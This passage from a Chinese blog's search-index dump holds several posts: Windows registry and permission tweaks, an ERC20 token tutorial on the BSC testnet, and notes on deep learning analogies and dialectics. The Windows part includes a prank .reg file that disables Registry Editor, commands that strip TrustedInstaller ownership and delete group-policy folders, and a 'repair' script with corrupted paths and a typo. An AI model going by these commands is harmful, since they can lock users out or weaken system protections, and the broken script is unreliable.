icacls \\\"%1\\\" /grant administrators:F /t\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y &amp;&amp; icacls \\\"%1\\\" /grant administrators:F /t\" 移除权限选项.regWindows Registry Editor Version 5.00[-HKEY_CLASSES_ROOT\\*\\shell\\runas][-HKEY_CLASSES_ROOT\\exefile\\shell\\runas2][-HKEY_CLASSES_ROOT\\Directory\\shell\\runas][-HKEY_CLASSES_ROOT\\*\\shell\\runas-][-HKEY_CLASSES_ROOT\\exefile\\shell\\runas2-][-HKEY_CLASSES_ROOT\\Directory\\shell\\runas-] 获取 TrustedInstaller 超级权限 TrustedInstaller 超级权限是凌驾于管理员权限和系统权限之上的存在 TrustedInstaller 超级权限的添加方法： 下载注册表权限修改工具 SetACL: https://helgeklein.com/download/#download-setacl SetACL 文档： https://helgeklein.com/setacl/ https://helgeklein.com/setacl/documentation/command-line-version-setacl-exe/ 按照如下格式设置执行获取权限命令： SetACL -on 对象名称 -ot 对象类型 -actn 操作 对象名称 (-on)：这是 SetACL 应操作的对象的路径。对象类型（-ot）：对象名称指的是什么类型的对象：文件或目录（file）、注册表项（reg）、服务（srv）、打印机（prn）、网络共享（shr）操作 (-actn)：SetACL 应该如何处理指定的对象 注册表值权限获取就可以用如下命令： SetACL.exe -on \"HKEY_CLASSES_ROOT\\XXX\\{xxxxxxx-666-5555-EEEE-yyyyyy}\" -ot reg -actn setowner -ownr \"n:Administrators\";;注释：将上述注册表项所有者更新到管理员 Administrator（默认为不可更改的 TrustedInstaller ）。SetACL.exe -on \"HKEY_CLASSES_ROOT\\XXX\\{xxxxxxx-666-5555-EEEE-yyyyyy}\" -ot reg -actn ace -ace \"n:Administrators;p:full\";;注释：让上述注册表项所有者 Administrator 获取全部权限。 注意，上述命令缺一不可，而且要按照先后顺序执行。 友情提醒：命令 SetACL -on 对象名称 -ot 对象类型 -actn 操作 适合文件、文件夹（需要写详细路径）和注册表项目超级权限获取，各位可按需提权，出于安全考虑，切勿滥用。如果修改完毕，还可以考虑把命令中的管理员 Administrator 替换为 TrustedInstaller 再次执行命令，恢复系统默认，确保安全。 windows 取消登录界面的名字 1、打开 regedit。 2、定位到以下位置：\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\，找到名为 dontdisplaylastusername 的键值，双击它，然后将它的数值数据改为 1。 3、将鼠标光标放在左侧树状列表的 System 项上，单击右键，选择新建 - DWORD（32 位）值，并将该值命名为：DontDisplayLockedUserID。 4、双击我们刚刚新建的名为 DontDisplayLockedUserID 的 DWORD（32 位）值，你将看到一个编辑 DWORD（32 位）值的窗口。在这个窗口中，将 DontDisplayLockedUserID 的数值数据改为 3。 5、修改完成后，关闭注册表编辑器，在开始菜单中点击你的头像，再点击锁定，你将看到锁屏界面。 6、按回车键，或者使用鼠标点击屏幕，你将看到 Win 登录界面。这时我们可以看到，我们的名字已经显示为 “解锁电脑”。 7、要登录 Win，你需要手动输入用户名和密码或者 PIN，需要注意的是，这个用户名以 C:\\Users 中的为准。如果你不清楚你当前的用户名，那么可以打开命令提示符后，里面显示的是 C:\\Users\\XXX &gt;，那么当前的用户名就是 XXX ，在登录 Win 时，将 XXX 填入用户名的输入框即可。 要将 Win10 登陆界面恢复为显示姓名也非常简单，只需再次来到注册表，然后双击名为 dontdisplaylastusername 的键值，将它的数值数据改为 0 即可。 windows 取消登录界面电源按钮1、按下 Win+r 打开运行，输入 regedit 回车，打开注册表编辑器；2、定位至：HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System，然后你就会看到 shutdownwithoutlogon 这个 32 位的 DWORD 值；3、双击 shutdownwithoutlogon，打开编辑界面，将数据设置为０；原值为 1.4、操作完成后，你就会发现，登陆界面的电源按钮没了。 上帝模式即 God Mode 完全控制面板 开启方法: 新建文件夹重命名为 GodMode.{ED7BA470-8E54-465E-825C-99712043E01C} 时间显示到秒实验中发现 win11 删除了注册表 ShowSecondsInSystemClock，需要先下载安装 startallback，然后笔者放弃了时间显示到秒。 win11 需要先下载安装 startallback, win10 直接修改注册表 修改注册表 HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced 新建 DWORD (32 位) 值 改为 1: “ShowSecondsInSystemClock”=dword:00000001 重启 使用注册表隐藏磁盘盘符具体操作如下： 注：在开始之前，请使用 Administrator 帐户登录 Windows10。 1、首先，将鼠标光标放在 “此电脑” 图标上，点击右键，再点击管理。 2、在窗口左侧的树状列表中展开本地用户和组，点击用户文件夹。 3、双击帐户列表中的 Administrator 项，将账户已禁用项取消勾选，然后点击确定按钮。 4、这时，点击开始按钮，再点击你的头像，你可以看到 Administrator 项，只要点击它，我们就可以 以 Administrator 帐户登录 Windows 了。 5、以 Administrator 账户登录 Windows 后，打开 regedit。 6、定位到以下位置：\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\ 7、在窗口右侧的空白处点击鼠标右键，选择新建 - 新建 DWORD（32 位）值，并将该值命名为：NoDrives 8、以下是一份对照表，这个表我们接下来有用。 A：1 B：2 C：4 D：8 E：16 F：32 G：64 H：128 I：256 J：512 K：1024 L：2048 M：4096 N：8192 O：16384 P：32768 Q：65536 R：131072 S：262144 T：524288 U：1048576 V：2097152 W：4194304 X：8388608 Y：16777216 Z：33554432 所有：67108863 想要隐藏 E 盘，查表可知，该盘对应的值为 16。 9、双击我们刚刚新建的名为 NoDrives 的 DWOED（32 位）值，将该值基数改为 10 进制，再将该值的数值数据设置为 16。 10、重启电脑后，打开文件资源管理器（此电脑），可见，E 盘已经消失了。 11、要进入 E 盘非常简单，我们只需在文件资源管理器的地址栏输入：E:\\，然后回车即可。 如何恢复？ 如果你不想再隐藏 E 盘，那么你可以通过以下方式恢复： 以 Administrator 帐户登录 Windows。打开 regedit，定位到以下位置：\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policie，找到名为 NoDrives 的 DWORD（32 位）值，双击该值，将其数值数据改为 0，然后重启即可。 重置组策略在 Windows 系统中，通过组策略我们可以设置系统的各种软件、计算机和用户策略等。不小心将组策略中的设置修改错了，导致系统中的很多组件都无法使用了，这该怎么办呢？这时候重置组策略编辑器是最好的解决办法 还原本地安全策略用于管理 Windows 安全选项的安全策略与组策略使用了不同的管理控制台 ——secpol.msc（本地安全策略），该安全设置管理单元对组策略进行了扩展，可方便个人用户或域管理员手动配置和定义计算机安全策略。 如果你对 Windows 的安全管理策略不太了解，又自己手动更改了一些乱七八糟的设置，可以通过如下步骤对本地安全策略进行还原： 1、使用 Windows + X 快捷键打开「命令提示符（管理员）」； 2、执行如下命令：secedit /configure /cfg %windir%\\inf\\defltbase.inf /db defltbase.sdb /verbose 3、命令执行完成之后需要重启计算机才能生效，如果某些组件仍出现奇怪的问题，可以通过下面介绍的步骤来重置组策略对象。 使用命令行重置组策略对象此种方法比较特殊，我们可以直接从安装 Windows 的分区中直接删除组策略配置文件夹，以达到全部重置目的： 1、使用 Windows + X 快捷键打开「命令提示符（管理员）」； 2、执行如下命令：RD /S /Q \"%WinDir%\\System32\\GroupPolicyUsers\"RD /S /Q \"%WinDir%\\System32\\GroupPolicy\"gpupdate /force 3、命令执行完成后重启计算机即可。 禁用设置和控制面板该方法适用于：Win10 + 专业版 / 企业版 / 教育版 1、运行 gpedit； 2、定位到：用户配置 - 管理模板 - 控制面板，在窗口的右侧找到并双击禁止访问 “控制面板” 和 PC 设置； 3、在弹出的窗口中选择已启用，点击确定按钮； 4、当你完成这些步骤后，用户将无法打开设置。 该方法适用于：Win10 + 家庭版 重要提醒：编辑注册表是有风险的，如果你不小心误操作，这则可能对你电脑的系统造成不可逆转的损害，在继续之前，我们建议你备份注册表或者创建系统还原点。 1、运行 regedit； 2、定位到：\\HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\，在窗口右侧的空白处单击鼠标右键，选择新建 - DWORD（32 位）值，并将此值命名为：NoControlPanel； 3、双击刚刚新建的名为 NoControlPanel 的 DWORD（32 位）值，将数值数据由 0 改为 1 ，点击确定按钮； 4、完成这些步骤后，用户将无法打开设置。 如何恢复？ 1、如果你是使用组策略编辑器来禁用设置和控制面板的，要恢复原样，你需要进入组策略编辑器，来到以下目录：用户配置 - 管理模板 - 控制面板，在窗口的右侧重新找到禁止访问 “控制面板” 和 PC 设置，双击它，然后在弹出的窗口中将已启用改回未配置，点击确定按钮。 2、如果你是使用注册表编辑器来禁用设置和控制面板的，要恢复原样，你需要进入注册表编辑器，来到以下目录：\\HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\，在窗口的右侧找到名为 NoControlPanel 的 DWORD（32 位）值，双击它，将数值数据由 1 改成 0 ，点击确定按钮。 禁用注册表没事不要乱动注册表 / 邪恶 禁用注册表.regWindows Registry Editor Version 5.00[HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]\"DisableRegistryTools\"=dword:00000001 解锁注册表.inf[Version]Signature=“$CHICAGO$”[DefaultInstall]DelReg=del[del]HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System,Disableregistrytools,1,00,00,00,00 右键选择安装解锁 修复注册表.cmdreg add \"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsSelfHostApplicability\" /v \"BranchName\" /d \"fbl_release\" /t REG_SZ /freg add \"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsSelfHostApplicability\" /v \"ThresholdRiskLevel\" /d \"low\" /t REG_SZ /freg deldte \"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsSelfHostApplicability\" /v \"ThresholdInternal\" /freg deldte \"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsSelfHostApplicability\" /v \"ThresholdOptedIn\" /f","categories":[{"name":"操作系统","slug":"操作系统","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"},{"name":"Windows","slug":"操作系统/Windows","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/"}],"tags":[{"name":"Windows","slug":"Windows","permalink":"https://blog.mhuig.top/tags/Windows/"}]},{"title":"","slug":"wiki/CoPoKo","date":"2022-06-12T04:11:00.000Z","updated":"2022-06-13T08:44:00.000Z","comments":false,"path":"p/wiki-copoko/","link":"","permalink":"https://blog.mhuig.top/p/wiki-copoko/","excerpt":"","text":".fa-secondary{opacity:.4} CoPoKo CoPoKo 开始阅读","categories":[{"name":"CoPoKo","slug":"CoPoKo","permalink":"https://blog.mhuig.top/categories/CoPoKo/"}],"tags":[{"name":"CoPoKo","slug":"CoPoKo","permalink":"https://blog.mhuig.top/tags/CoPoKo/"}]},{"title":"部署第一个智能合约","slug":"eth/部署第一个智能合约","date":"2022-03-01T02:12:23.000Z","updated":"2022-03-01T02:12:23.000Z","comments":true,"path":"p/6a03238d/","link":"","permalink":"https://blog.mhuig.top/p/6a03238d/","excerpt":"","text":"注意访问本文的引用链接可能需要魔法 对区块链最好的描述是将其描述为一个公共数据库，它由网络中的许多计算机更新和共享。 小试身手我猜您和我们一样会很兴奋在以太坊区块链上部署智能合约并与之交互。 别担心，作为我们的第一个智能合约，我们会将其部署在本地测试网络上，因此您不需要任何开销就可以随意部署和运行它。 编写合约第一步访问 Remix 并创建一个新文件。 在 Remix 界面的左上角添加一个新文件，并输入所需的文件名。 在这个新文件中，我们将粘贴如下代码： // SPDX-License-Identifier: MITpragma solidity &gt;=0.5.17;contract Counter { // Public variable of type unsigned int to keep the number of counts uint256 public count = 0; // Function that increments our counter function increment() public { count += 1; } // Not necessary getter to get the count value function getCount() public view returns (uint256) { return count; }} 如果您曾经写过程序，应该可以轻松猜到这个程序是做什么的。 下面按行解释： 第 3 行：定义了一个名为 Counter 的合约。 第 6 行：我们的合约存储了一个无符号整型 count，从 0 开始。 第 9 行：第一个函数将修改合约的状态并且 increment() 变量 count。 第 14 行，第二个函数是一个 getter 函数，能够从智能合约外部读取 count 变量的值。 请注意，因为我们将 count 变量定义为公共变量，所以这个函数是不必要的，但它可以作为一个例子展示。 第一个简单的智能合约到此结束。 正如您所知，它看上去像是 Java、C++ 这样的面向对象编程语言中的一个类。 现在可以运行我们的合约了。 部署合约当我们写了第一个智能合约后，我们现在可以将它部署在区块链中并运行它。 在区块链上部署智能合约实际上只是发送了一个包含已编译智能合约代码的交易，并且没有指定任何收件人。 我们首先点击左侧的编译图标来编译合约： 然后点击编译按钮： 您可以选择 “自动编译” 选项，这样当您在文本编辑器中保存内容时，合约始终会自动编译。 然后切换到部署和运行交易屏幕： 在 “部署和运行交易” 屏幕上，仔细检查显示的合约名称并点击 “部署”。 在页面顶部可以看到，当前环境为 “Javascript VM”，这意味着当前我们在本地测试区块链上部署智能合约并交互，这样测试可以更快，也不需要任何费用。 点击 “部署” 按钮后，您可以看到合约在底部显示出来。 点击左侧的箭头展开，可以看到合约的内容。 这里有我们的变量 counter、函数 increment() 和 getter getCounter()。 如果您点击 count 或 getCount 按钮，它将实际检索合约的 count 变量的内容，并显示出来。 因为我们尚未调用 increment 函数，它应该显示 0。 现在点击按钮来调用 increment 函数。 您可以在窗口底部看到交易产生的日志。 当按下检索数据按钮而非 increment 按钮时，您看到的日志有所不同。 这是因为读取区块链的数据不需要任何交易（写入）或费用。 因为只有修改区块链的状态需要进行交易。 在按下 increment 按钮后，将产生一个交易来调用我们的 increment() 函数，如果我们点击 count 或 getCount 按钮，将读取我们的智能合约的最新状态，count 变量大于 0。 使用事件记录智能合约中的数据在 solidity 中，事件是智能合约可触发的调度信号。 去中心化应用或其他任何连接到以太坊 JSON-PRC API 的程序，都可以监听这些事件，并执行相应操作。 可以建立事件的索引，以便稍后可以搜索到事件历史记录。 在撰写这篇文章之时，以太坊区块链上最常见的事件是由 ERC20 代币转账时触发的 Transfer 事件。 event Transfer(address indexed from, address indexed to, uint256 value); 事件签名在合约代码内声明，并且可以使用 emit 关键字来触发。 例如，transfer 事件记录了谁发起了转账 (from)，转账给谁 (to)，以及转账的代币数转账 (value)。 我们再次回到 Counter 智能合约，决定在每次值发生变化时进行记录。 由于这个合约不是为了部署，而是作为基础，通过扩展来构建另一个合约：因此它被称为抽象合约。 在我们 counter 示例中，它将类似于如下： pragma solidity 0.5.17;contract Counter { event ValueChanged(uint oldValue, uint256 newValue); // Private variable of type unsigned int to keep the number of counts uint256 private count = 0; // Function that increments our counter function increment() public { count += 1; emit ValueChanged(count - 1, count); } // Getter to get the count value function getCount() public view returns (uint256) { return count; }} 注意： 第 5 行：我们声明了事件及其包含的内容、旧值以及新值。 第 13 行：当我们增加 count 变量的值时，我们会触发事件。 如果我们现在部署合约并调用 increment 函数，如果您在名为 logs 的数组内单击新交易，我们将看到 Remix 会自动显示它。 日志在调试智能合约时非常有用，另一方面，如果您构建一个不同人使用的应用，并且使分析更容易跟踪和了解您的智能合约的使用情况，那么日志也是非常重要的手段。 交易生成的日志会显示常见的区块浏览器中，并且，举例来说，您也可以使用它们来创建链外脚本，用于侦听特定的事件，并且这些事件发生时采取相应操作。 注册钱包安装 Chrome MetaMask 插件https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn 注册绑定你的账号。 添加 BSC Testnet （测试网络）添加自定义网络 网络名称：BSC Testnet RPC URL: https://data-seed-prebsc-1-s1.binance.org:8545/ 链 ID: 0x61 区块浏览器：https://testnet.bscscan.com/ 货币符号: BNB 每日领取测试 BNB进入 https://testnet.binance.org/faucet-smart , 填入账户 Address 领取测试链的 BNB。 BNB 用于支付测试网络的燃料费用. 在 metamask 钱包中也可以看到这笔 BNB 到账了。 发行 MHGC (MHuiGCoin) 代币进入 Remix 环境 中 FILE EXPLORERS依次创建三个文件: EIP20.sol、EIP20Factory.sol、EIP20Interface.sol。 EIP20.sol/*Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md.*/pragma solidity ^0.4.21;import \"./EIP20Interface.sol\";contract EIP20 is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address =&gt; uint256) public balances; mapping (address =&gt; mapping (address =&gt; uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract &amp; in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX function EIP20( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] &gt;= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] &gt;= _value &amp;&amp; allowance &gt;= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance &lt; MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; }} EIP20Factory.solimport \"./EIP20.sol\";pragma solidity ^0.4.21;contract EIP20Factory { mapping(address =&gt; address[]) public created; mapping(address =&gt; bool) public isEIP20; //verify without having to do a bytecode check. bytes public EIP20ByteCode; // solhint-disable-line var-name-mixedcase function EIP20Factory() public { //upon creation of the factory, deploy a EIP20 (parameters are meaningless) and store the bytecode provably. address verifiedToken = createEIP20(10000, \"Verify Token\", 3, \"VTX\"); EIP20ByteCode = codeAt(verifiedToken); } //verifies if a contract that has been deployed is a Human Standard Token. //NOTE: This is a very expensive function, and should only be used in an eth_call. ~800k gas function verifyEIP20(address _tokenContract) public view returns (bool) { bytes memory fetchedTokenByteCode = codeAt(_tokenContract); if (fetchedTokenByteCode.length != EIP20ByteCode.length) { return false; //clear mismatch } //starting iterating through it if lengths match for (uint i = 0; i &lt; fetchedTokenByteCode.length; i++) { if (fetchedTokenByteCode[i] != EIP20ByteCode[i]) { return false; } } return true; } function createEIP20(uint256 _initialAmount, string _name, uint8 _decimals, string _symbol) public returns (address) { EIP20 newToken = (new EIP20(_initialAmount, _name, _decimals, _symbol)); created[msg.sender].push(address(newToken)); isEIP20[address(newToken)] = true; //the factory will own the created tokens. You must transfer them. newToken.transfer(msg.sender, _initialAmount); return address(newToken); } //for now, keeping this internal. Ideally there should also be a live version of this that // any contract can use, lib-style. //retrieves the bytecode at a specific address. function codeAt(address _addr) internal view returns (bytes outputCode) { assembly { // solhint-disable-line no-inline-assembly // retrieve the size of the code, this needs assembly let size := extcodesize(_addr) // allocate output byte array - this could also be done without assembly // by using outputCode = new bytes(size) outputCode := mload(0x40) // new \"memory end\" including padding mstore(0x40, add(outputCode, and(add(add(size, 0x20), 0x1f), not(0x1f)))) // store length in memory mstore(outputCode, size) // actually retrieve the code, this needs assembly extcodecopy(_addr, add(outputCode, 0x20), 0, size) } }} EIP20Interface.sol// Abstract contract for the full ERC 20 Token standard// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.mdpragma solidity ^0.4.21;contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value);} SOLIDITY COMPILER我们选择 0.4.21 版本的编译环境. 点击编译. 在这里你可以将源码发布到 IPFS. Metadata of \"eip20\" was published successfully.token/EIP20.sol : dweb:/ipfs/QmZemboWkhVyhYMRyCJmjwhw4caenvXS5Mw7Uc5tdE77jPtoken/EIP20Interface.sol : dweb:/ipfs/QmWQEUAdy5QnnCTGsEtRfedZrVG2xZ77YfKiPE5MVvQiSSmetadata.json : dweb:/ipfs/QmWFrJHPJLEWJGAoXpq8MD1pGJsvdcfxhPiW5SDXiwEvm8 DEPLOY &amp; RUN TRANSACTIONS运行环境选择 Injected Web3 因为我们用的是 metamask 钱包；Account 账户填写 metamask 钱包账户；此时浏览器插件会弹出，我们选择连接账户。点击下一步，点击连接. 在 DEPLOY 中输入部署信息，合约构造函数的输入参数. _INITIALAMOUNT: \"21000000000000000000000000\"_TOKENNAME: \"MHuiGCoin\"_DECIMALUNITS: \"18\"_TOKENSYMBOL: \"MHGC\" 发币数量 21000000, 和比特币一样，向中本聪致敬。 货币名称 MHuiGCoin，最小货币单位 18（decimaUnits），货币简称 MHGC。 点击 transact. 点击确认支付燃料费用. 从 Deployed Contracts 复制部署的合约地址: 0xeb86A66E2d4A51F8de3d4d0F509f18A15Cde68F6. 导入代币合约进入部署合约的 MetaMask 账户，点击导入代币. 输入代币合约信息 代币合约地址：0xeb86A66E2d4A51F8de3d4d0F509f18A15Cde68F6 代币符号：MHGC 小数精度：18 可以看到我的账户中有 21000000 MHGC (MHuiGCoin) 代币转账测试我们创建一个新的账户，并导入上面的代币合约. 我们向目标账户发送 1 MHGC 测试 需要支付测试网络的燃料费用. 转账发送成功. 测试网络资源管理器在资源管理器中查看 资产: https://testnet.bscscan.com/token/0xeb86A66E2d4A51F8de3d4d0F509f18A15Cde68F6 可以看到资源信息和公开的转账记录. 如你所见这些在区块链中已经发生的历史信息是无法更改的. 安全风险提示任何人都可以创建代币，包括创建现有代币的假版本。了解更多关于 欺诈和安全风险. 2016 年 6 月，The DAOEther 的漏洞造成损失 5000 万美元，而开发者试图达成共识的解决方案。DAO 的程序在黑客删除资金之前有一段时间的延迟。以太坊软件的一个硬分叉在时限到期之前完成了攻击者的资金回收工作。 2021 年 9 月 24 日，中国人民银行发布进一步防范和处置虚拟货币交易炒作风险的通知。通知指出，虚拟货币不具有与法定货币等同的法律地位。比特币、以太币、泰达币等虚拟货币具有非货币当局发行、使用加密技术及分布式账户或类似技术、以数字化形式存在等主要特点，不具有法偿性，不应且不能作为货币在市场上流通使用 。 最后MHGC 获取方式测试网络 网络名称：BSC Testnet RPC URL: https://data-seed-prebsc-1-s1.binance.org:8545/ 链 ID: 0x61 区块浏览器：https://testnet.bscscan.com/ 货币符号: BNB 代币合约 代币合约地址：0xeb86A66E2d4A51F8de3d4d0F509f18A15Cde68F6 代币符号：MHGC 小数精度：18 尾巴联系我，发我地址，在 BSC Testnet 下可领取 100 MHGC. 共发行 21000000 MHGC, 集齐 22000000 MHGC 可领取精美礼品一份. Just For Fun. 参考资料 Welcome to Ethereum This message is used to verify that this feed (feedId:83048545374666752) belongs to me (userId:82913974185265152). Join me in enjoying the next generation information browser https://follow.is.","categories":[{"name":"以太坊","slug":"以太坊","permalink":"https://blog.mhuig.top/categories/%E4%BB%A5%E5%A4%AA%E5%9D%8A/"},{"name":"智能合约","slug":"以太坊/智能合约","permalink":"https://blog.mhuig.top/categories/%E4%BB%A5%E5%A4%AA%E5%9D%8A/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"}],"tags":[{"name":"以太坊","slug":"以太坊","permalink":"https://blog.mhuig.top/tags/%E4%BB%A5%E5%A4%AA%E5%9D%8A/"},{"name":"智能合约","slug":"智能合约","permalink":"https://blog.mhuig.top/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"},{"name":"区块链","slug":"区块链","permalink":"https://blog.mhuig.top/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/"}]},{"title":"一组粗略的类比","slug":"pen/一组粗略的类比","date":"2021-10-02T03:00:00.000Z","updated":"2021-10-02T03:00:00.000Z","comments":true,"path":"p/6dc844b7/","link":"","permalink":"https://blog.mhuig.top/p/6dc844b7/","excerpt":"","text":"这是一个关于生物学与深度学习的粗略类比的笔记，这些类比中的大多数都是非常推测性和探索性的，但我发现它们很有趣并且值得思考. 生物学 深度学习 外界环境 输入数据 认知过程 特征提取 基因 神经网络权重结构 (特征) 基因突变 神经网络权重结构改变 性状 神经网络功能 细胞 神经元 组织 (细胞分化) 神经网络在后面的层 器官 神经网络专门处理特定任务的组件 个体 模型 繁殖 迭代 反馈调节 优化器 (eg: 梯度下降) 更新网络的机制 自然选择 损失函数定向衡量性能 进化 学习 进化 = 基因突变 + 自然选择 (定向) 学习 = 神经网络权重结构改变 + 损失函数定向衡量性能 基因决定性状 神经网络权重结构可以决定神经网络功能 个体繁殖 模型迭代","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/tags/%E9%9A%8F%E7%AC%94/"}]},{"title":"唯物辩证法","slug":"philosophy/唯物辩证法","date":"2021-09-15T07:13:40.000Z","updated":"2021-09-15T07:13:40.000Z","comments":true,"path":"p/6ace289f/","link":"","permalink":"https://blog.mhuig.top/p/6ace289f/","excerpt":"唯物辩证法是关于自然界、人类社会以及人类思维领域发展最一般规律的科学，它在坚持唯物论观点的基础上，研究世界的运行状况、形态和发展规律，进一步回答客观世界究竟 “怎么样” 的问题。","text":"唯物辩证法是关于自然界、人类社会以及人类思维领域发展最一般规律的科学，它在坚持唯物论观点的基础上，研究世界的运行状况、形态和发展规律，进一步回答客观世界究竟 “怎么样” 的问题。 唯物辩证法的总特征唯物辩证法的基本观点是：世界是普遍联系的有机整体，同时又是变化发展的。联系和发展的观点是唯物辩证法的总特征。 事物的普遍联系联系指事物内部各要素之间和事物之间相互影响、相互制约、相互作用的关系。 联系的特性及其具体内容如下表所示： 特性 具体内容 客观性 事物的联系是事物本身所固有的，不是主观臆想的 普遍性 任何事物内部的不同部分和要素之间都是相互联系的；任何事物都不能孤立存在，都同其他事物处于一定的联系之中，整个世界是相互联系的统一整体。 多样性 世界上的事物是多样的，事物之间的联系也是多样的 条件性 条件是对事物存在和发展发生作用的诸要素的总和。条件对事物发展和人的活动具有支持或制约作用；条件是可以改变的；改变和创造条件不是任意的，必须尊重事物发展的客观规律。 事物的变化发展事物的相互联系包含事物的相互作用，而相互作用必然导致事物的运动、变化和发展。 发展是前进的、上升的运动，发展的实质是新事物的产生和旧事物的灭亡。 联系与发展的基本环节内容与形式、本质与现象、原因与结果、必然与偶然、现实与可能构成了联系和发展的基本环节。 唯物辩证法的三大规律对立统一规律唯物辩证法的实质和核心对立统一规律是唯物辩证法的实质和核心，其原因如下： 对立统一规律揭示了事物普遍联系的根本内容和变化发展的内在动力，从根本上回答了事物为什么会发展的问题。 对立统一规律是贯穿量变质变规律、否定之否定规律以及唯物辩证法基本范畴的中心线索，也是理解这些规律和范畴的 “钥匙”。 对立统一规律为人们提供了认识世界和改变造世界的根本方法 —— 矛盾分析析方法。 对立统一规律又称矛盾规律，矛盾是辩证法的核心概念，是否承认矛盾，是否承认矛盾是事物发展的动力和源泉，是辩证法和形而上学的根本分歧。 矛盾的两种基本属性是同一性和斗争性，矛盾的同一性和斗争性相互联结，相辅相成。 内因和外因内因指事物发展变化的内部原因，是事物自身的矛盾。 外因指事物之间的相互联系、相互影响，是事物变化的条件。 二者的关系：内因是事物变化的依据，外因是事物变化的条件，外因必须通过内因起作用，内因与外因共同推动事物的发展。 矛盾的普遍性和特殊性矛盾的普遍性指矛盾存在于一切事物中，存在于一切事物发展过程的始终，即” 矛盾无处不在，矛盾无时不有”。 矛盾的特殊性指各个具体事物的矛盾、每一个矛盾的各个方面在发展的不同阶段上各有其特点。矛盾的特殊性决定了事物的不同性质。 二者关系：矛盾的普遍性和特殊性是辩证统一的。矛盾的普遍性即矛盾的共性，矛盾的特殊性，即矛盾的个性。矛盾的共性是无条件的、绝对的。矛盾的个性是有条件的、相对的。任何现实存在的事物的矛盾都是共性和个性的有机统一，共性寓于个性之中，没有离开个性的共性，也没有离开共性的个性。 主次矛盾和矛盾的主次方面主要矛盾：处于支配地位，对事物的发展起决定作用 次要矛盾：处于从属地位，对事物的发展起次要作用 主要矛盾和次要矛盾的联系： 相互依赖，相互影响 